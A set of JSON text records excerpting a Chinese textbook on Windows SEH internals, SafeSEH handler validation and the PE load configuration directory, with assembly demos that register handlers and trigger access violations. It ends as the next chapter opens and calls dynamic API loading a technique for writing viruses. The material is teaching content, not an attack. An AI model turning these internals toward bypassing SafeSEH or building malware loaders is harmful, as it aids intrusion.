    {"text": "以下是内核模式下两个数据结构的完整定义： typedef struct _KPCR_TIB{ PVOID ExceptionList, ;0000h-指向_EXCEPTION_REGISTRATION_RECORD指针 PVOID StackBase, ;0004h-栈基地址 PVOID StackLimit, ;0008h-栈大小 PVOID SubSystemTib, ;000C- _ANONYMOUS_UNION union{ PVOID FiberData, ;0010h- DWORD Version ;0010h- }DUMMYUNIONNAME PVOID ArbitraryUserPointer, ;0014h- struct _NT_TIB*Self ;0018h-指向本体结构 } typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD*Next, ;0000h-指向下一个相同结构 PEXCEPTION_ROUTINE Handler ;0004h-SEH异常处理回调函数指针 } 内核模式下的异常处理程序首先根据异常的类型构造一个陷阱框架（KTrapFrame）。"},
    {"text": "大致的代码如下： ;Call the C exception handler push 0 ;异常号 push ebp ;KTrapFrame起始指针 call _KiTrapHandler add esp,8 认为_KiTrapHandler是公共的异常处理函数，是因为大部分的异常处理都是把它当成内核异常的入口。"},
    {"text": "以下是内核函数_KiKernelTrapHandler的代码： ULONG KiKernelTrapHandler(PKTRAP_FRAME Tf,ULONG ExceptionNr,PVOID Cr2) { EXCEPTION_RECORD Er ; Er.ExceptionFlags=0 ; Er.ExceptionRecord=NULL ; Er.ExceptionAddress=(PVOID)Tf-＞Eip ; if(ExceptionNr == 14)//页异常需要单独处理 { Er.ExceptionCode=STATUS_ACCESS_VIOLATION ; Er.NumberParameters=2 ; Er.ExceptionInformation [0]=Tf-＞ErrCode＆0x1 ; Er.ExceptionInformation [1]=(ULONG)Cr2 ; } else { if(ExceptionNr＜ARRAY_SIZE(ExceptionToNtStatus)) { Er.ExceptionCode=ExceptionToNtStatus [ExceptionNr] ; } else { Er.ExceptionCode=STATUS_ACCESS_VIOLATION ; } Er.NumberParameters=0 ; } /*FIXME:Which exceptions are noncontinuable?*/ Er.ExceptionFlags=0 ; KiDispatchException(＆Er,NULL,Tf,KernelMode,TRUE) ; return(0) ; } 该函数构造了异常记录块EXCEPTION_RECORD，然后调用KiDispatchException。"},
    {"text": "异常记录块的完整定义如下： typedef struct _EXCEPTION_RECORD{ DWORD ExceptionCode, ;异常代码 DWORD ExceptionFlags, ;异常的状态标志位 struct _EXCEPTION_RECORD*ExceptionRecord, ;指向另一个异常记录块 PVOID ExceptionAddress, ;本次异常的返回地址 DWORD NumberParameters, ;数组ExceptionInformation []中有效数据个数 DWORD ExceptionInformation [EXCEPTION_MAXIMUM_PARAMETERS] ; } 异常记录块用来记录一个异常所对应的相关信息，其中含有异常的代码、发生异常时的系统状况、异常之间的联系等。"},
    {"text": "函数KiDispatchException的原型为： NTAPI KiDispatchException( PEXCEPTION_RECORD ExceptionRecord,//指向ExceptionRecord的指针 PKEXCEPTION_FRAME ExceptionFrame,//对x86，为NULL PKTRAP_FRAME TrapFrame,//陷阱框架指针 KPROCESSOR_MODE PreviousMode,//用户模式还是内核模式 BOOLEAN FirstChance//是否为进行的第一次努力 ); 该函数不仅是内核模式下异常处理最后调用的函数，也是用户模式下异常处理函数KiUserTrapHandler最后调用的函数。"},
    {"text": "SEH机制对异常的处理有以下三种可能： 如果异常被某个SEH框架所接受，并实施了长程跳转（跳转到异常处理程序执行异常处理），程序就不再返回了。 如果异常被某个SEH框架所接受，但是程序认为对该异常的处理只需要执行善后函数即可，这样，程序就会从RtlDispatchException返回，并且其返回的值是TRUE。"},
    {"text": "第三次尝试时，表示系统已经没有办法处理这个故障了，所以系统会显示出错信息，并将出错信息转储（Dump）到文件中以备事后分析，然后使CPU进入停机状态。"},
    {"text": "通常情况下，此时系统将显示蓝屏，并显示类似于下面的一些信息： ***STOP 0x0000001E(0xC0000005,0xFDE38AF9,0x0000001,0x7E8B0EB4) KMODE_EXCEPTION_NOT_HANDLED*** SEH处理的核心就是对ExceptionList（异常处理链表）的扫描处理，这是由函数RtlDispatchException来完成的，对该函数的调用位于函数KiDispatchException中。"},
    {"text": "函数首先通过RtlpGet ExceptionList找到异常处理链表，即当前CPU的KPCR结构中的指针ExceptionList； 然后，通过一个while循环来依次搜寻处理ExceptionList链表中的每一个节点，由RtlpExecuteHandlerForException加以尝试处理。"},
    {"text": "由于异常处理链表是个后进先出的队列，里面的第一个节点代表最近进入的SEH框架； 如果链表中有不止一个的节点，就说明有了SEH框架嵌套。 在嵌套的情况下，队列中的第一个节点代表最底层的那个保护域；"},
    {"text": "如果这个节点（执行过滤函数以后）拒绝接受本次异常处理，就说明并非这个SEH域所针对的异常，那就应该往栈顶再“跑”一层，看是否为上一层SEH域所针对的异常；"},
    {"text": "当一个节点接受了对异常的处理，通常会执行预先规定的长程跳转，直接“跑”到那个框架中的相关语句部分，即由字段_EXCEPTION_REGISTRATION_RECORD.Handler指定的代码。 在长程跳转之前还需要有个“展开”（Unwinding）的过程，那就是调用所有被跨越的SEH框架的善后函数，这就是为什么在有的错误处理中会看到出现两次相同的错误提示的原因了。"},
    {"text": "内核模式下异常处理函数的调用关系如下： _KiTrapHandler _KiKernelTrapHandler _KiDispatchException ;三次尝试 _RtlDispatchException _RtlpGetExceptionList _RtlpExecuteHandlerForException ;尝试循环执行异常处理"},
    {"text": "10.2.4 用户模式下的异常处理 10.2.4 用户模式下的异常处理 如前所述，异常是中断的一种，不管是由什么原因（“软异常”除外）引发的异常，一旦发生首先进入的是内核中的异常响应/处理程序的入口，不同的原因引发的异常会有不同的处理入口，就像不同的中断向量会有不同的入口地址一样。"},
    {"text": "用户模式下的异常处理采用类似的方式及相关数据结构，数据结构主要指线程信息块NT_TIB，以下是该数据结构的完整定义： NT_TIB STRUCT ExceptionList dd ? ;0000h-指向SEH链的入口 StackBase dd ? ;0004h-栈基地址 StackLimit dd ? ;0008h-栈大小 SubSystemTib dd ? ;000Ch- FiberData dd ? ;0010h- ArbitraryUserPointer dd ? ;0014h- Self dd ? ;0018h-NIT_TIB结构自身的线性地址 NT_TIB ENDS 其中，ExceptionList指向一个EXCEPTION_REGISTRATION结构，该结构完整定义如下： EXCEPTION_REGISTRATION STRUCT Prev dd ? ;0000h-前一个EXCEPTION_REGISTRATION结构的地址 Handler dd ? ;0004h-异常处理回调函数地址 EXCEPTION_REGISTRATION ENDS 当异常发生的时候，系统从NT_TIB中取出第一个字段，然后依据该字段获取第一个异常处理程序的句柄Handler，并根据其中的地址调用该回调函数。"},
    {"text": "图 10-3 用户模式下SEH异常处理过程 异常发生于用户空间，在内核中的异常处理程序就会由内核态函数KiKernelTrapHandler改变为用户态函数KiUserTrapHandler。"},
    {"text": "函数BaseProcessStartup是所有线程在用户空间的总入口，该函数传递的参数lpStartAddress则是具体线程的代码入口，函数仿真代码如下： VOID STDCALL BaseProcessStartup(PPROCESS_START_ROUTINE lpStartAddress) { UINT uExitCode=0 ; _SEH_TRY { /*设置起始地址*/ NtSetInformationThread(NtCurrentThread(),ThreadQuerySetWin32StartAddress, ＆lpStartAddress,sizeof(PPROCESS_START_ROUTINE)) ; /*调用启动例程*/ uExitCode=(lpStartAddress)() ; } _SEH_EXCEPT(BaseExceptionFilter) { /*获取SEH异常代码*/ uExitCode=_SEH_GetExceptionCode() ; } _SEH_END ; /*带着异常代码退出进程*/ ExitProcess(uExitCode) ; } 注意，异常处理框架中引用了_SEH_EXCEPT，这不是一个双字节的句柄值_SEH_HANDLE，它是过滤函数BaseExceptionFilter；"},
    {"text": "该函数又通过另外一个函数指针调用实际的过滤函数，默认为UnhandledExceptionFilter。 函数UnhandledExceptionFilter在一般情况下都返回EXCEPTION_EXECUTE_HANDLER。 不过，应用程序可以也通过SetUnhandled ExceptionFilter将其替换成自己想要的过滤函数。"},
    {"text": "用户模式下只有一个类似于内核空间的KiDispatchException函数，它就是动态链接库ntdll.dll中的KiUserExceptionDispatcher，它是用户模式下SEH异常处理的总入口。"},
    {"text": "下面让我们转到内核函数KiDispatchException中去看个究竟： 内核中涉及用户空间异常的处理也分三步： 步骤1 参数FirstChance为1时，先通过KdpEnterDebuggerException交由内核调试程序处理。"},
    {"text": "步骤2 万一用户空间处理不了，例如ExceptionList中没有安排可以认领、处理本次异常的节点，就会通过调用函数RtlRaiseException，进而通过系统调用ZwRaiseException发起一次“软异常”，把问题重新交还给内核。"},
    {"text": "内核模式下程序把异常提交给用户空间的步骤如下： 首先，把上下文数据结构Context和异常记录块ExceptionRecord复制到用户空间的栈上去。 其次，在用户空间栈上压入两个指针，分别指向这两个数据结构的用户空间副本，并相应调整异常框架中的用户空间栈指针。 最后，也是最关键的一步，把异常框架中的用户空间返回地址设置成函数指针KeUserExceptionDispatcher所指向的函数。 当CPU从异常返回，回到用户空间时就进入了函数KiUserExceptionDispatcher，该函数就是用户模式下的异常响应/处理程序的入口。"},
    {"text": "以下是函数KiUserExceptionDispatcher的调用过程： KiUserExceptionDispatcher() RtlDispatchException() RtlpIsValidHandler() ;异常处理函数指针安全验证 RtlpExecuteHandlerForException() ;尝试处理异常 ExecuteHandler() 其中，函数RtlpIsValidHandler提供了代码指针的安全验证，其仿真代码如下： BOOL RtlpIsValidHandler(handler) { if(handler is in an image){ if(image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set) return FALSE ; if(image has a SafeSEH table) if(handler found in the table) return TRUE ; else return FALSE ; if(image is a.NET assembly with the ILonly flag set) return FALSE ; //其他分支，则通过 } if(handler is on a non-executable page){ if(ExecuteDispatchEnable bit set in the process flags) return TRUE ; else //执行DEP raise ACCESS_VIOLATION ; } if(handler is not in an image){ if(ImageDispatchEnable bit set in the process flags) return TRUE ; else return FALSE ;//不能允许句柄在映像以外 } //其他任何情况都是被允许的 return TRUE ; } [...] //如果DisableExceptionChainValidation位被设置，则跳过链表验证 if(process _flags＆0x40 == 0){ //如果在链表上没有SEH records，则跳过验证 if(record!=0xFFFFFFFF){ //遍历SEH链表 do{ //record必须在栈上 if(record＜stack _bottom||record＞stack _top) goto corruption ; //record的结束也必须在栈上 if((char*)record+sizeof(EXCEPTION_REGISTRATION)＞stack _top) goto corruption ; //record必须是4字节对齐 if((record＆3)!=0) goto corruption ; handler=record-＞handler ; //句柄必须在栈上 if(handler＞=stack _bottom＆＆handler＜stack _top) goto corruption ; record=record-＞next ; }while(record!=0xFFFFFFFF) ; //到达链表尾部 //TEB-＞SameTebFlags字段的第9位是否被设置 //该位将在函数ntdll!RtlInitializeExceptionChain中被设置 //当一个新的线程开始时，它将FinalExceptionHandler注册为一个SEH句柄 if((TEB-＞word _at _offset_0xFCA＆0x200)!=0){ //最后的句柄一定是ntdll!FinalExceptionHandler if(handler!=＆FinalExceptionHandler) goto corruption ; } } } 如上所示，函数RtlpIsValidHandler检查SEH handler的过程包括： 步骤1 检查handler是否在线程环境块TEB指定的Stack范围内（fs:[4]～fs:[8]），如果是则拒绝执行。"},
    {"text": "步骤2 检查handler是否在已加载模块列表（exe和dll）中，如果handler不在这些模块地址范围内，则拒绝执行。 步骤3 如果handler在模块地址范围内，则检查已注册异常处理程序列表。"},
    {"text": "2）数据目录项中的加载配置地址为0，也就意味着不存在IMAGE_LOAD_CONFIG_DIRECOTRY结构，说明编译时没有设置-safeseh选项，则停止检查，执行。 如果IMAGE_LOAD_CONFIG_DIRECOTRY结构存在，则继续检查以下字段： +0000h：directory _size。 首先判断目录长度是否介于0～0x48之间，是则停止检查，执行。"},
    {"text": "简言之，如果异常处理程序的地址在映像的VA范围之内，并且映像被标记为支持保留的SEH（也就是说，可选文件头中的DllCharacteristics字段没有设置IMAGE_DLLCHARACTERISTICS_NO_SEH标志），那么这个异常处理程序必须在映像的已知安全异常处理程序列表中（加载配置信息的结构字段SEHandleTable指向该列表），否则操作系统将终止应用程序。"},
    {"text": "在用户空间执行完“向量式异常处理程序入口队列”遍历后，如果没有找到异常的认领处理程序，则继续运行函数RtlDispatchException。 与内核模式中的同名函数不同，此处的RtlDispatchException函数所处理的ExceptionList是在用户空间，所使用的栈也是用户空间栈。"},
    {"text": "10.2.5 Windows SEH机制解析 10.2.5 Windows SEH机制解析 通过以上对内核模式和用户模式下基于SEH技术的异常处理过程。总结如下： SEH机制就是在执行某一段代码的过程中，如果发生了特定种类的异常，就执行另一段指定代码。为实现结构化异常处理，Windows在系统空间和用户空间都有一个后进先出的异常处理队列ExceptionList。每当程序进入一个SEH框架时，就把一个带有长程跳转目标地址的数据结构挂入相应空间的异常处理队列，成为其一个节点。在内核空间将节点挂入系统空间的队列，在用户空间则挂入用户空间的队列。 一般而言，当CPU运行于用户空间时，系统空间的异常处理队列应该是空的。除长程跳转目标地址外，挂入ExceptionList的数据结构中还可以有两个函数指针： 1）过滤（Filter）函数的指针。这个函数判断所发生的异常是否就是本保护域所要处理的异常，如果是才加以接受，从而执行本SEH域的长程跳转，执行异常处理函数。 2）善后（Final）函数的指针。在进行异常认领过程中，将会遍历并执行节点上的各异常函数；在执行过程中，这些异常处理函数（无论它是否接受了该异常的处理）可能会申请一些资源，这些资源必须得到释放。善后函数的主要目的通常是释放展开过程动态获取的资源。 当发生异常时，异常响应程序就依次考察相应ExceptionList中的各个节点，并执行其过滤函数（如果有的话）。如果过滤函数认为这就是本保护域所针对的异常，或者默认为相符不需要进行过滤，就执行本保护域的长程跳转，进入本SEH域的_SEH_HANDLE{}里面的代码；而对于被跨越的各个内层SEH域，则执行其善后函数（如果有的话），即展开操作。 Windows对于段寄存器fs有特殊的设置和使用，当CPU运行于系统空间时，就使fs:0指向当前CPU的KPCR数据结构。而KPCR结构的第一个成分是KPCR_TIB数据结构，KPCR_TIB的第一个成分则是VOID指针ExceptionList。 当CPU运行于系统空间时，就使fs:0指向当前线程的TEB。TEB数据结构中的第一个成分是NT_TIB数据结构，这里面的第一个成分即指针ExceptionList。"},
    {"text": "10.2.6 SEH编程实例 10.2.6 SEH编程实例 了解了SEH技术之后，下面通过一个SEH的实例程序来深入理解SEH机制，程序代码见代码清单10-1。"},
    {"text": "代码清单10-1 异常处理测试（chapter10\\exception1.asm） 1 ;------------------------ 2 ;测试异常处理 3 ;戚利 4 ;2011.1.19 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 szText db 'HelloWorldPE',0 19 szErr db 'SEH Error',0 20 ;代码段 21 .code 22 23 _handler proc _lpException,_lpSEH,\\ 24 _lpContext,_lpDispatcherContext 25 nop 26 pushad 27 mov esi,_lpException 28 mov edi,_lpContext 29 30 assume edi:ptr CONTEXT 31 32 invoke MessageBox,NULL,addr szErr,NULL,MB_OK 33 34 mov [edi].regEip,offset _safePlace 35 assume edi:nothing 36 37 popad 38 39 ;测试一 40 ;发生的异常已被该函数接管 41 mov eax,ExceptionContinueExecution 42 43 ;测试二 44 ;发生的异常未被该函数接管 45 ;mov eax,ExceptionContinueSearch 46 ret 47 _handler endp 48 49 start: 50 assume fs:nothing 51 push offset _handler 52 push fs:[0] 53 mov fs:[0],esp 54 55 xor eax,eax ;触发异常的指令 56 mov dword ptr [eax],eax 57 58 _safePlace: ;异常指令后的正常指令 59 60 pop fs:[0] 61 pop eax 62 63 invoke MessageBox,NULL,addr szText,NULL,MB_OK 64 invoke ExitProcess,NULL 65 end start 行23～47，是我们自己定义的异常回调处理函数。"},
    {"text": "该函数首先显示一条信息，然后修改eip指针，使得异常处理程序完成后能跳过发生错误的行（即主程序中的第56行），指向后续的_safePlace标签所处的指令。"},
    {"text": "该异常代码为EXCEPTION_ACCESS_VIOLATION，其十六进制值0C0000005h，将这个异常代码值按位拆开，来分析它的各个bit位字段的含义： 第30位和第31位都是1，表示该异常是一个严重的错误，线程可能不能够继续往下运行，必须及时处理恢复这个异常。"},
    {"text": "在内核模式的异常处理程序中可以看到这一点： #define TRAP_PROLOG(Label) ;Just to be safe,clear out the HIWORD,since it's reserved mov word ptr [esp+2],0 ;将异常代码的高16位清0 ;Save the non-volatiles push ebp push ebx push esi push edi ;Save FS and set it to PCR push fs mov ebx,KGDT_R0_PCR mov fs,bx 行50～53是该源代码中至关重要的一部分。"},
    {"text": "行39～41，回调函数接管了该异常后对系统的声明，即告诉系统该异常已被我认领，我已对其进行了处理，其他的异常接管函数不需要再工作了。 行43～45同样是接管声明，它告诉系统：该异常我处理不了，请将异常交给下一层SEH框架处理。 两种不同的接管方式会出现两种不同的运行结果：前者会出现两个对话框，分别来自异常处理回调函数和主程序中的异常代码后的部分； 后者也出现两个对话框，分别来自异常处理回调函数和系统的出错提示。"},
    {"text": "SEH框架中当前SE处理程序的指针指向代码清单10-1第23行_handler程序入口地址，而链表指针则指向了下一个SE处理程序的地址（0012FFE0）。"},
    {"text": "跟踪异常处理，直到OD返回用户的代码空间： 以上代码位于ntdll.dll空间中，0x7C9232A6处的\"CALL ECX\"即为跳转到用户定义的SEH异常处理回调函数的指令。"},
    {"text": "以上反汇编序列比较符合内核代码中的标签_RtlpExecuteHandler2@20所指向位置的代码，如下所示： _RtlpExecuteHandler2@20: /*Set up stack frame*/ push ebp mov ebp,esp /*Save the Frame*/ push [ebp+0xC]/*指向原节点、这是要保护的目标节点*/ /*Push handler address*/ push edx/*成为新节点中的Handler指针，指向保护函数*/ /*Push the exception list*/ push [fs:TEB_EXCEPTION_LIST]/*成为新节点中的Next指针*/ /*Link us to it*/ mov [fs:TEB_EXCEPTION_LIST],esp/*让ExceptionList指向新节点*/ /*Call the handler*/ push [ebp+0x14] push [ebp+0x10] push [ebp+0xC] push [ebp+8] mov ecx,[ebp+0x18]/*参数ExceptionHandler*/ call ecx/*调用ExceptionHandler，4个调用参数*/ /*Unlink us*/ mov esp,[fs:TEB_EXCEPTION_LIST] /*Restore it*/ pop [fs:TEB_EXCEPTION_LIST]/*新节点已从ExceptionList中摘除*/ /*Undo stack frame and return*/ mov esp,ebp/*新节点不复存在于栈上*/ pop ebp ret 0x14 执行完异常处理回调函数后，重新回到ntdll.dll空间，执行以下代码： 按F7键进入： 通过存根代码进入到内核模式执行： 通过SYSTENTER指令进入内核模式，并交由内核模式代码（位于函数RtlDispatch Exception()中）跳转到用户空间_safePlace指向的位置处执行： /*Call the handler*/ DPRINT(\"Executing handler:%p\\n\",RegistrationFrame-＞Handler) ; ReturnValue=RtlpExecuteHandlerForException(ExceptionRecord, RegistrationFrame,Context,＆DispatcherContext, RegistrationFrame-＞Handler) ; DPRINT(\"Handler returned:%p\\n\",(PVOID)ReturnValue) ; 使用OD调试exception2_1.exe，看以下代码： ECX中存放了与exception2.exe调试时不同的值，这说明该程序执行了不同的SEH异常处理分支程序。 exception2.exe中此处的值指向了用户代码，而这里却指向kernel32.7C839AD8，最终，系统是通过调用kernel32.UnhandledExceptionFilter，并且转入函数ntdll.ZwRaiseException完成了相关的异常处理。"},
    {"text": "10.3 PE中的加载配置信息 10.3 PE中的加载配置信息 本节将以exception4_1.exe文件为例，讲解PE文件中的加载配置信息。首先，通过PE数据目录表定位到加载配置信息；然后，分析该部分数据对应的数据结构；最后，通过一个实例分析，描述了数据结构中每个字段与提取的字节码之间一一对应的关系。 10.3.1 加载配置信息定位 加载配置数据为数据目录中注册的数据类型之一，其描述信息处于数据目录的第11个目录项中。使用PEDump小工具获取chapter10\\exception4_1.exe的数据目录表内容如下： 加黑部分即为加载配置信息的数据目录内容。通过以上字节码得到如下信息： 加载配置信息所在地址RVA=0x000001000 加载配置信息数据大小=00000040h 为了避免SEH框架缓冲区溢出执行用户代码导致安全隐患，自XP系统以后的大部分系统中的PE文件，如常见的记事本程序、kernel32.dll、user32.dll等都附加了加载配置信息。通常情况下，操作系统的加载器会根据数据目录表中定义的大小，来判断加载配置信息的类别。为了保持对Windows XP操作系统和以前的操作系统的兼容，建议大家将此处大小的值设置为64字节，即十六进制的0x40。 以下是使用小工具PEInfo获取到的该文件所有的节信息： 根据RVA与FOA的换算关系，可以得到： 加载配置信息所在文件的偏移地址为0x00000400。 10.3.2 加载配置目录IMAGE_LOAD_CONFIG_DIRECTORY 10.3.2 加载配置目录IMAGE_LOAD_CONFIG_DIRECTORY 加载配置信息的数据起始为数据结构IMAGE_LOAD_CONFIG_DIRECTORY。该结构的完整定义如下： 以下是各字段的详细解释。 98.IMAGE_LOAD_CONFIG_DIRECTORY.Characteristics +0000h，双字。标志字节，用来显示文件的属性，通常为0。如果存在加载配置信息，则大部分情况下被设置为48h。 99.IMAGE_LOAD_CONFIG_DIRECTORY.TimeDateStamp +0004h，双字。时间戳，这个值表示从UTC时间1970年1月1日午夜（00:00:00）以来经过的总秒数，它是根据系统时钟算出的。可以用C运行时函数来获取它。 100.IMAGE_LOAD_CONFIG_DIRECTORY.MajorVersion +0008h，单字。主版本。 101.IMAGE_LOAD_CONFIG_DIRECTORY.MinorVersion +000Ah，单字。次版本。 102.IMAGE_LOAD_CONFIG_DIRECTORY.GlobalFlagsClear +000Ch，双字。当PE加载器加载该映像时需要清除的全局标志。 103.IMAGE_LOAD_CONFIG_DIRECTORY.GlobalFlagsSet +0010h，双字。PE加载器加载该映像时需要设置的全局标志。 104.IMAGE_LOAD_CONFIG_DIRECTORY.CriticalSectionDefaultTimeout +0014h，双字。用于这个进程处于无约束状态的临界区的默认超时值。 105.IMAGE_LOAD_CONFIG_DIRECTORY.DeCommitFreeBlockThreshold +0018h，双字。返回到系统之前必须释放的内存数量（以字节计）。 106.IMAGE_LOAD_CONFIG_DIRECTORY.DeCommitTotalFreeThreshold +001Ch，双字。空闲内存总量（以字节计）。 107.IMAGE_LOAD_CONFIG_DIRECTORY.LockPrefixTable +0020h，双字。该值是一个VA。该字段仅适用于x86平台。它指向一个地址列表，这个地址列表中保存的是使用lock前缀的指令的地址，这样便于在单处理器机器上将这些lock前缀替换为nop指令。 108.IMAGE_LOAD_CONFIG_DIRECTORY.MaximumAllocationSize +0024h，双字。最大的分配粒度（以字节计）。 109.IMAGE_LOAD_CONFIG_DIRECTORY.VirtualMemoryThreshold +0028h，双字。最大的虚拟内存大小（以字节计）。 110.IMAGE_LOAD_CONFIG_DIRECTORY.ProcessAffinityMask +002Ch，双字。如果将该字段设置为非零值，则等效于在进程启动时将这个设定的值作为参数去调用函数SetProcessAffinityMask。 111.IMAGE_LOAD_CONFIG_DIRECTORY.ProcessHeapFlags +0030h，双字。进程堆的标志，相当于函数HeapCreate的第一个参数。这些标志用于在进程启动过程中创建的堆。 112.IMAGE_LOAD_CONFIG_DIRECTORY.CSDVersion +0034h，单字。Service Pack版本标识。 113.IMAGE_LOAD_CONFIG_DIRECTORY.Reserved1 +0036h，单字。保留值。 114.IMAGE_LOAD_CONFIG_DIRECTORY.EditList +0038h，双字。保留，供系统使用。 115.IMAGE_LOAD_CONFIG_DIRECTORY.SecurityCookie +003Ch，双字。指向cookie的指针。该cookie由Visual C++编译器的\"GS implementation\"所使用。 116.IMAGE_LOAD_CONFIG_DIRECTORY.SEHandlerTable +0040h，双字。该值为一个VA。与平台相关，指向一个地址列表。这个地址列表中保存的是映像中每个合法的、独一无二的、基于SEH框架的异常处理程序的RVA，并且它们已经按RVA从小到大的顺序排过序，最后以一个双字的0结尾。 117.IMAGE_LOAD_CONFIG_DIRECTORY.SEHandlerCount +0044h，双字。IMAGE_LOAD_CONFIG_DIRECTORY.SEHandlerTable指向列表中双字的个数，最后一个0除外。 10.3.3 加载配置信息实例分析 10.3.3 加载配置信息实例分析 下面来看exception4_1.exe的加载配置信息： 指向safe Handlers列表的指针。该值为VA，转换为文件偏移是0x00000448。从这个位置取出的值（个数由SEHandlerCount来确定）是： 这些值都是RVA，将这些值转换为VA并从对应内存地址取出的反汇编代码依次为： 注册的异常处理回调函数的个数，本例中为2。"},
    {"text": "10.4 加载配置编程 10.4 加载配置编程 本节通过代码为应用程序PE映像中附加“加载配置”信息。加载配置信息中首先注册源代码中定义的安全SEH回调函数；然后，通过在主程序中构造一个异常，并由主程序自己截获该异常，从而转到相应的异常处理函数处理该异常。 程序中将会存在两个异常处理函数：一个显示safeHandler，是要注册到加载配置信息中的函数；另外一个函数将不被注册，即不附加到安全句柄表IMAGE_LOAD_CONFIG_DIRECTORY.SEHandlerTable中。 读者可以通过分析程序的最终运行效果，来理解异常处理表在PE文件中的应用。首先看演示用的异常处理函数程序的源代码。 10.4.1 程序源代码分析 本节的演示程序通过在代码段构造IMAGE_LOAD_CONFIG_DIRECTORY结构，并为特定字段赋值的方法，实现SE程序的注册。本示例旨在向读者演示如何在应用程序中为最终生成的PE文件添加加载配置信息，以及这些信息是如何参与程序中的异常处理的。详细代码见代码清单10-2。 代码清单10-2 SEH异常处理演示（chapter10\\exception4.asm） 行29～50数据定义了加载配置目录IMAGE_LOAD_CONFIG_DIRECTORY结构。第30行设置字段Characteristics的值为0x48，第48行定义安全异常函数列表指向第53行，在安全异常函数列表中只定义了函数_handler1的地址，其后紧跟着一个双字的0结束。 行103～106代码将函数_handler1加入到SEH框架。 行108～109通过赋值指令引发一个异常。按照本章开始部分的描述，该异常会首先跳转到fs:0处注册的SEH异常处理队列的开始处，检查队列中的异常处理函数，看发生的异常是否会被认领。由于在主程序中已经将_handler1函数加入到了SEH框架中，且在PE文件的加载配置目录中声明了该函数为安全的异常处理函数，所以程序引发的异常会被_handler1处理。 编译链接的命令如下： ml -c -coff exception4.asm link-subsystem:windows/section:.text,ERW exception4.obj 10.4.2 为PE添加加载配置信息 10.4.2 为PE添加加载配置信息 首先，使用PEInfo小工具查看exception4.exe的所有与节相关的信息如下： 因为源代码中将加载配置目录结构放到了代码段的开始，所以，从节的描述中获得代码段在文件的起始偏移为0x00000400，将该地址设置为数据目录表中对加载配置信息的描述里。在数据目录表中添加对IMAGE_LOAD_CONFIG项的定义如下： 10.4.3 运行测试 10.4.3 运行测试 由于加入SEH框架中的异常处理句柄已经加入了PE映像的加载配置信息中，所以，系统认领了该处理函数，并执行。如源代码开始的注释中所说，运行结果最终会出现两个对话框：一个是函数_handler1中代码行69处语句弹出的对话框，还有一个就是执行完异常以后主程序代码行116处的语句弹出的对话框。 再来看另外一个程序exception4_2.asm，入口部分代码如下（详细代码请参照随书文件chapter10\\exception4_2.asm）： …… start: assume fs:nothing push offset _handler2 ;将未注册的异常回调函数加入SEH框架 push fs:[0] mov fs:[0],esp xor eax,eax ;引发越界异常 mov dword ptr [eax],eax …… 该程序与exception4.asm的不同之处在于：加入到SEH框架中的异常处理函数未在PE映像的加载配置信息中定义，所以执行时一个对话框也不会出。 10.4.4 注册多个异常处理函数示例 10.4.4 注册多个异常处理函数示例 源代码chapter10\\exception4_1.asm演示了同时注册多个safeHandler的情况，如代码清单10-3所示。 代码清单10-3 注册多个异常处理函数的示例程序（chapter10\\exception4_1.asm） 如上所述，在一个程序中允许注册多个安全的异常处理程序，开发者可以在程序的任何地方捕获异常，并将控制权转由异常处理程序进行处理。这使得在大型程序设计中对异常的处理变得高效有序，且能从系统层面杜绝一些不安全的异常接管。需要注意的是，在定义多个safe Handler的时候，一定要注意对RVA要按照从小到大的顺序进行排序，否则，系统在遍历该表时会出现运行流转错误。 大家可以使用OD对exception4进行调试。可以从地址7C95411A处下断点（方法是在OD中输入命令BP 7C95411A），从此处开始的代码是对仿真函数RtlIsValidHandler的一个最好的诠释。 注意 未经许可，对商业产品进行反编译和反汇编都是违法行为。 10.5 小结 10.5 小结 本章从Windows中的异常开始，简单介绍了内核模式和用户模式下的SEH处理过程；研究了PE映像中的加载配置信息。特别是针对PE映像中的安全句柄（safe Handler）概念进行了阐述；最后，通过实际的例子演示了PE映像中的加载配置信息是如何参与系统的异常处理机制的。 熟练掌握本章的知识，不仅对理解操作系统结构化异常处理机制有帮助，而且还可以学会通过系统机制实现一些附加的初始化代码的运行，通过接管异常处理实现热补丁等。"},
    {"text": "第11章 动态加载技术 第11章 动态加载技术 本章将学习引入函数的动态加载技术。动态加载技术是编写病毒程序、补丁程序必须掌握和学习的一种技术。该技术可以让程序设计者脱离复杂的导入表结构，在程序空间中构造类似导入表的调用引入函数机制。动态加载技术的核心是对被调用函数的地址的获取，调用函数位于动态链接库中。 动态链接库在程序运行时会被加载到进程的虚拟地址空间，因此，首先来看Windows操作系统对进程虚拟地址空间的管理。通过了解进程虚拟地址空间进一步理解操作系统、进程、动态链接库和被调用函数之间的关系。 11.1 Windows虚拟地址空间分配 在32位的机器上，地址空间从0x00000000～0xFFFFFFFF，总大小为4GB。一般而言，低地址空间，即从0x00000000～0x7FFFFFFF的2GB是用户空间，高地址空间则被分配给了系统。内存的管理是分层次的，Windows使用一个以页为基础的虚拟地址空间，充分利用了80X86处理器保护模式下的线性寻址机制和分页机制。 由于2GB的用户地址空间对于很多程序并不够用（特别是一些大型的数据库系统），于是微软就想了一些变通的办法。比如，在Windows 2000的启动文件boot.ini中，设置/3GB和/USERVA选项，用户空间就变成3GB，相应的系统空间就减少到1GB。程序编写者在链接可执行文件的时候，指定链接参数-LARGEADDRESSAWARE即可设置PE映像头部标志为常量符号IMAGE_FILE_LARGE_ADDRESS_AWARE。该标志定义在字段IMAGE_FILE_HEADER.Characteristics中，处在单字的第5位上（详细见第3章）。如果开了3GB选项，并且PE头不加这个设置，那么用户空间是2GB,系统空间是1GB。如果开了3GB选项，PE头也加了这个设置，那么用户空间是3GB，系统空间是1GB。 一般情况下，高端的2GB内存是供系统内核使用的。在这高端的2GB空间中安排了操作系统的系统代码和数据，用户一般无法访问到这个地址空间。用户地址空间使用低端2GB内存，其中包含了用户应用程序、调用的动态链接库、用户栈、用户可使用的空闲内存空间等。从整体上看，Windows虚拟内存地址空间的分配见表11-1。 11.1.1 用户态低2GB空间分配 不同的操作系统对用户态的2GB的虚拟地址空间分配策略是不同的。在Windows 2000/XP中，大致分配见表11-2。 11.1.2 核心态高2GB空间分配 11.1.2 核心态高2GB空间分配 